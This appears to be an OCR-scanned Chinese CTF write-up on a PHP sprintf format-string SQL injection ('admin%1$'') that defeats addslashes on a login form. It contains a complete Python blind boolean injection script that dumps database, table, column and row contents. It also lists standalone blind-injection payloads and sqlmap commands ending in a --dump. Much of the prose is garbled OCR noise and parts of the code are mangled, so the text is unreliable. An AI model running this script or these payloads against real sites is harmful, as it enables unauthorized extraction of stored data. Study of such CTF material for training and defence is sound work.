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FRER: off LEIRFZE: python

FRAUE B : ASCAEERAISCE, 5 CC 4.0 BY-SA MR, H8iFMH EFESCH s mA RS,
ACHERE: https://blog.csdn.net/qq_34106499/article/details/104026026

15 RCE 01T 1Y
BB

BE R H P bt

AP#E:

B2hg:

JRFERER R

BERI B P B ER, 4R FfEadminflF, HERF-ZAFP B IRERENE R, S68E, EATENsqREANR
R H

Xt P GadmindE AT S MEN, RIEN L% H I T B RS
arning: sprintf(): Too few arguments in fvar/www/html/index.php on line 18
arning: mysgli:query(): Empty query in fvar/www/html/index.php on line 19
B A W BORLR Blsprintf()ig AL 775 & H IR -

sprintf(format,argl,arg2,arg++) : REFIEHRANMFZHFENTEF, El¥arg,arg2Z2 536 A\ Blformatif) H 25 (%)+ .
FHRZEPAT, B—ADEDSLFEANargl, =N E S5 ANarg2 K RS HE .
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HRE:

1. ZH%ZRargZ 8, HEMHGOF, W$s = printf("%1\$s %2\$s %3\$s %s",'a’,'b’,'c’); —>a b c
a, %1, %2, BAHMPEANa, b, \$ NRAZMEMEE AN, MESHETELEEMH, WHIT % —>a
2. MARIL & ALAFFEformat AXN 5| S5 0L T %1\$s .51 5 T %1$s . XRH FphpH M3 SHEI\$ KHICAS,
MG SAEITHL, TEEEEM S .
BT : REHRE-NFR, MEBLUMFRFRYMBCE. SRS — A RBRTLEEHNZE. W% [LEasci
B, %d DLECES, WIRAERSCPRWSBATILE, WRNE. thin %\ ILREMSERNE.
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RN SEHT sprintfig 24k 7 5 5 IR
sprintfg AL F/F B SR ITEAN R &

php K sprintfb

it 2 PR, FEW)E S H A phpRA3W T

<?php

$username = addslashes($_POST[ 'username']);

$username sprintf("username = '%s' ",$username);

$password = $_POST[ 'password'];
$sql = sprintf("select * from t where $username and password = '%s' ", $password);

?>

AU ERE, TSRS TER:

username = admin%1$' and 1 = 1#—> password error!
username = admin%1$' and 1 = 2#—>username error!
EANRT, WUBTEE.

LR NAEForBi AT B, REARE.

pythonE iEJIA (firE KEEH)D

# -*- coding:

limit MOFiH

substr M1F 4

AEEBEMR AR, SHIMPR
my sql i B EE A A R

ARG RHESR IR B 2L

import requests

url="http://41b5114edd6a432fa70320270406b627979e693f3ec645ce.changame.ichunqgiu.com"

namechr_list=1list(range(97, 123))+[95]+1list(range(65, 91))+list(range(48, 58))

contentchr_list=namechr_list+list(range(123, 127))+list(range(32, 48))+list(range(58, 65))+list(range(91,
05))+[96]+[126]

def judge_response(name):
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86 64; rv:18.0) Gecko/20100101 Firefox/18.0"}
payload = dict(username=name, password='test')

response = requests.post(url=url, data=payload, headers=headers)

judgement = response.text.split('!"')[0]


https://blog.csdn.net/nzjdsds/article/details/82156123
https://www.cnblogs.com/test404/p/7821884.html
https://www.cnblogs.com/phpper/p/7546054.html

if judgement == 'password error':
return True
elif judgement == 'username error':

return False

database length():
for index in range(20):
name_argv = "admin%1$'" + " and length(database()) = %d ;# " % (index)
boolean = judge_response(name_argv)
if boolean == True:
return index

return False

database name_test(location):
for index in namechr_list:
name_argv = "admin%1$'" + "and ascii(substr(database(),%d,1))=%d ;# " % (location, index)
boolean = judge_response(name_argv)
if boolean == True:
return chr(index)

return False

database_name(len):
name=""
for index in range(1, len + 1):
name = name + database_name_test(index)

return name

tables_number():
for index in range(100):
name_argv = "admin %1$'" + " and (select count(table_name) from information_schema.tables where ta
ble _schema=database()) = %d ;# " % (index)
boolean = judge_response(name_argv)
if boolean == True:
return index

return False

def table_length(num):
for index in range(100):
name_argv = "admin %1$'" + "and (select length(table_name) from information_schema.tables where ta
ble schema=database() limit %d,1)=%d ;# "%(num, index)
boolean = judge_response(name_argv)
if boolean == True:
return index
return False

def table_name(table len,table_num):
name = "'
for name_index in range(1l, table len + 1):
for chr_index in namechr_list:
name_argv = "admin %1$'" + " and ascii(substr((select table name from information_schema.table)
s where table schema=database() limit %d,1),%d,1))=%d ;# "%(table_num, name_index, chr_index)
boolean = judge_response(name_argv)
if boolean == True:
name = name + chr(chr_index)
break

return name

def columns_number(table name):




name_argv = "admin %1$'" + "and (select count(column_name) from information_ schema.columns where t
able name=%1$'{}%1$') = {} ;# ".format(table name, index)
boolean = judge response(name_argv)
if boolean == True:
return index

return False

def column_length(column_index, table_name):
for index in range(100):

name_argv = "admin%1$' + "and (select length(column_name) from information_schema.columns where
table name=%1$'{}%1$' limit {},1)={} ;#".format(table name, column_index, index)
boolean = judge_response(name_argv)
if boolean == True:
return index
break

return False

def column_name(column_len, column_index, table_name):
name = "'
for name_index in range(1, column_len + 1):

for chr_index in namechr_list:

name_argv = "admin %1$'" + "and ascii(substr((select column_name from information_schema.colum
ns where table name=%1$'{}%1$' limit {},1),{},1)) = {} ;# ".format(table_name, column_index, name_index, ch

r_index)
boolean = judge_response(name_argv)
if boolean == True:
name = name + chr(chr_index)
break

return name

def content_number(table_name):
for index in range(100):
name_argv = "admin %1$'" + "and (select count(*) from {}) = {} ;# ".format(table_name, index)
boolean = judge_response(name_argv)
if boolean == True:
return index

return False

def content_length(content_index, column_name, table name):
for index in range(100):
name_argv = "admin %1$'" + " and (select length({}) from {} limit {},1) = {} ;# ".format(column_na
me, table name, content_index, index)
boolean = judge_response(name_argv)
if boolean == True:
return index
break
return False

def content_value(content_len, content_index, column_name, table name):
value = "'
for value index in range(1l, content_len + 1):
for chr_index in contentchr_list:
name_argv = "admin %1$'" + " and ascii(substr((select {} from {} limit {},1),{},1)) = {} ;# ".
format(column_name, table name, content_index, value_index, chr_index)
boolean = judge_response(name_argv)
if boolean == True:
value = value + chr(chr_index)
break

#tprint(value




return value

if _name__=="'_main__ ':
database len = database length()

database name = database name(database len)

print("database _name:%s"%database name)

tables num = tables number()
for tab_index in range(tables_num): #WEJH3
tab_len = table_length(tab_index)
tab_name = table name(tab_len, tab_index)
print(" table _name %s:%s"%(tab_index + 1, tab_name))
columns_num = columns_number(tab_name)
for column_index in range(columns_num): #iEJ;FZB
column_len = column_length(column_index, tab_name)
column_nam = column_name(column_len, column_index, tab_name)
print(" column_name %s:%s"%(column_index + 1, column_nam))
contents_num = content_number(tab_name)
for content_index in range(contents_num): #&EJHE
content_len = content_length(content_index, column_nam, tab_name)
content_val = content_value(content_len, content_index, column_nam, tab_name)

print(" content_value %s:%s"%(content_index + 1, content_val))
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[WEiE, FRE]Sqli writeup

mysql & V15 &) [B B
DL test FIEE TR tb_stu HIFE id, name, sex, birghday SN

Bl -

PE4KJE: AND LENGTH(DATABASE())=4
MR PE4: AND ASCII(SUBSTR(DATABASE(),1,1))=116

IEPE T XA E: AND (SELECT COUNT(table name) FROM information_schema.tables WHERE table schema=DATABASE
KJ¥: AND (SELECT LENGTH(table name) FROM information_schema.tables WHERE table schema=DATABASE()LIMIT

IR R4 : AND ASCII(SUBSTR((SELECT table name FROM information_schema.tables WHERE table schema=DATABASE ()
LIMIT ©,1),1,1))=101

F tb_stu FFEEA%: AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table name='tb_s
tu')=4

FEBAKE: AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table name='tb_stu' LIMIT
2,1)=4

IR 7 B4 : AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table name='tb_ stu'
LIMIT 1,1),1,1))=105

WA

HZA%: AND (SELECT COUNT(*) FROM tb_stu)=5
FEid FHE—%MAKE: AND (SELECT LENGTH(id) FROM tb_stu LIMIT 1,1)=1

BB id” P —% M % : AND ASCII(SUBSTR((SELECT id FROM tb_stu LIMIT 0,1),1,1))=50



https://blog.csdn.net/m0_37921080/article/details/79764911

sqlmap # &N E 573NN

fF Fburpsuite B HEFHE, AEWT:

/home/sqlmapl.txt

POST / HTTP/1.1

Host: cceb93cd7df840c7ad483a8ae5cfbc38e9c2c4c2ad4a24410.changame.ichungiu.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://cceb93cd7df840c7ad483a8ae5cfbc38e9c2c4c2a4a24410.changame.ichungiu.com/
Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

username=admin&password=admin

sqimapH i A BB EIRE ( -p IEEENSHG  --prefix ESHETME EFFFH; --dbs BHEIEE) -

sqlmap -r /home/sqlmapl.txt -p username --prefix="admin%1$'

[*] ctf

[*] information_schema

PREE ctf BHEEFHIR (-D HBEBIERE; --tables BHRA) -

sqlmap -r /home/sqlmapl.txt -p username --prefix="admin%1$' " -f -D ctf --tables

sqlmap -r /home/sqlmapl.txt -p username --prefix="admin%1$' " -f -D ctf -T flag --columns

BAR (--dump BHEEREARNR)

sqlmap -r /home/sqlmapl.txt -p username --prefix="admin%1$' " -f -D ctf -T flag -C flag --dump

Bpw] 3R 18 flag

sqimapt3s, BfFE—PHITMEH.
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